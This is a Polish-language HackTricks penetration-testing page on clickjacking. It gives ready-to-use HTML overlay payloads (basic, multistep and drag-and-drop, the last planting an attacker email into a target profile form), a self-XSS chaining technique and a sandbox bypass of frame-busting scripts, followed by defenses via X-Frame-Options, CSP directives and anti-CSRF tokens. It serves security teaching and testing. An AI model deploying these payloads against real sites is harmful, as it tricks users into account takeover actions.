12 KiB
Clickjacking
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną na HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Co to jest Clickjacking
W ataku clickjacking użytkownik jest oszukany, aby kliknąć w element na stronie internetowej, który jest albo niewidoczny albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, podanie poświadczeń dostępu lub poufnych informacji, transfery pieniężne lub zakupy online.
Trik wypełniania formularzy
Czasami możliwe jest wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony. Atakujący może wykorzystać to zachowanie, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjacking, aby użytkownik nacisnął przycisk Wyślij.
Wypełnij formularz za pomocą przeciągnij i upuść
Jeśli potrzebujesz, aby użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie określonych informacji (takich jak e-mail i/lub konkretne hasło, które znasz), możesz poprosić go o przeciągnięcie i upuszczenie czegoś, co wpisze Twoje kontrolowane dane, jak w tym przykładzie.
Podstawowy ładunek
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Wieloetapowy ładunek
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Przeciągnij i upuść + Kliknij ładunek
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Jeśli zidentyfikowano atak XSS, który wymaga kliknięcia przez użytkownika w pewny element, aby wywołać XSS, a strona jest podatna na clickjacking, można to wykorzystać, aby oszukać użytkownika, aby kliknął przycisk/link.
Przykład:
Znaleziono self XSS w pewnych prywatnych danych konta (dane, które tylko ty możesz ustawić i odczytać). Strona z formularzem do ustawienia tych danych jest podatna na Clickjacking, a można wstępnie wypełnić formularz parametrami GET.
__Atakujący mógłby przygotować atak Clickjacking na tę stronę, wstępnie wypełniając formularz XSS payloadem i oszukując użytkownika, aby zatwierdził formularz. Tak więc, gdy formularz zostanie przesłany i wartości zostaną zmodyfikowane, użytkownik wykona XSS.
Strategie łagodzenia Clickjacking
Obrona po stronie klienta
Skrypty wykonywane po stronie klienta mogą podejmować działania w celu zapobieżenia Clickjacking:
- Upewnienie się, że okno aplikacji jest głównym lub najwyższym oknem.
- Sprawienie, że wszystkie ramki są widoczne.
- Zapobieganie klikaniu w niewidoczne ramki.
- Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty łamiące ramki mogą zostać obejścia:
- Ustawienia bezpieczeństwa przeglądarek: Niektóre przeglądarki mogą blokować te skrypty na podstawie swoich ustawień bezpieczeństwa lub braku obsługi JavaScript.
- Atrybut HTML5 iframe
sandbox
: Atakujący może zneutralizować skrypty łamiące ramki, ustawiając atrybutsandbox
z wartościamiallow-forms
luballow-scripts
bezallow-top-navigation
. Zapobiega to ramce weryfikacji, czy jest najwyższym oknem, np.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Obrona po stronie serwera
X-Frame-Options
Nagłówek odpowiedzi HTTP X-Frame-Options
informuje przeglądarki o legalności renderowania strony w elemencie <frame>
lub <iframe>
, pomagając w zapobieganiu Clickjackingowi:
X-Frame-Options: deny
- Żadna domena nie może osadzać zawartości.X-Frame-Options: sameorigin
- Tylko bieżąca witryna może osadzać zawartość.X-Frame-Options: allow-from https://trusted.com
- Tylko określony 'uri' może osadzać stronę.- Należy zauważyć ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.
Dyrektywa frame-ancestors w polityce bezpieczeństwa zawartości (CSP)
Dyrektywa frame-ancestors
w CSP jest zalecaną metodą ochrony przed Clickjackingiem:
frame-ancestors 'none'
- Podobne doX-Frame-Options: deny
.frame-ancestors 'self'
- Podobne doX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Podobne doX-Frame-Options: allow-from
.
Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:
Content-Security-Policy: frame-ancestors 'self';
Szczegółowe informacje i przykłady zastosowań można znaleźć w dokumentacji CSP dotyczącej frame-ancestors oraz dokumentacji CSP frame-ancestors Mozilli.
Polityka bezpieczeństwa zawartości (CSP) z child-src
i frame-src
Polityka bezpieczeństwa zawartości (CSP) to środek bezpieczeństwa, który pomaga w zapobieganiu Clickjackingowi i innym atakom polegającym na wstrzykiwaniu kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie zawartości.
Dyrektywa frame-src
- Określa prawidłowe źródła dla ramek.
- Jest bardziej szczegółowa niż dyrektywa
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trusted-website.com.
Dyrektywa child-src
- Wprowadzona w CSP poziomu 2 w celu ustawienia prawidłowych źródeł dla web workers i ramek.
- Działa jako opcja zapasowa dla frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ta polityka pozwala na ramki i workery z tego samego pochodzenia (self) oraz https://trusted-website.com.
Notatki dotyczące użycia:
- Dezaprobaty: child-src jest stopniowo eliminowany na rzecz frame-src i worker-src.
- Zachowanie zapasowe: Jeśli frame-src jest nieobecny, child-src jest używany jako zapasowy dla ramek. Jeśli oba są nieobecne, używane jest default-src.
- Ścisła definicja źródła: Włączaj tylko zaufane źródła w dyrektywy, aby zapobiec eksploatacji.
Skrypty JavaScript do łamania ramek
Choć nie są całkowicie niezawodne, skrypty do łamania ramek oparte na JavaScript mogą być używane do zapobiegania osadzaniu strony internetowej w ramce. Przykład:
if (top !== self) {
top.location = self.location;
}
Wykorzystanie tokenów Anti-CSRF
- Walidacja tokenów: Używaj tokenów Anti-CSRF w aplikacjach internetowych, aby upewnić się, że żądania zmieniające stan są dokonywane celowo przez użytkownika, a nie poprzez stronę podatną na Clickjacking.
Referencje
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Użyj Trickest, aby łatwo tworzyć i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.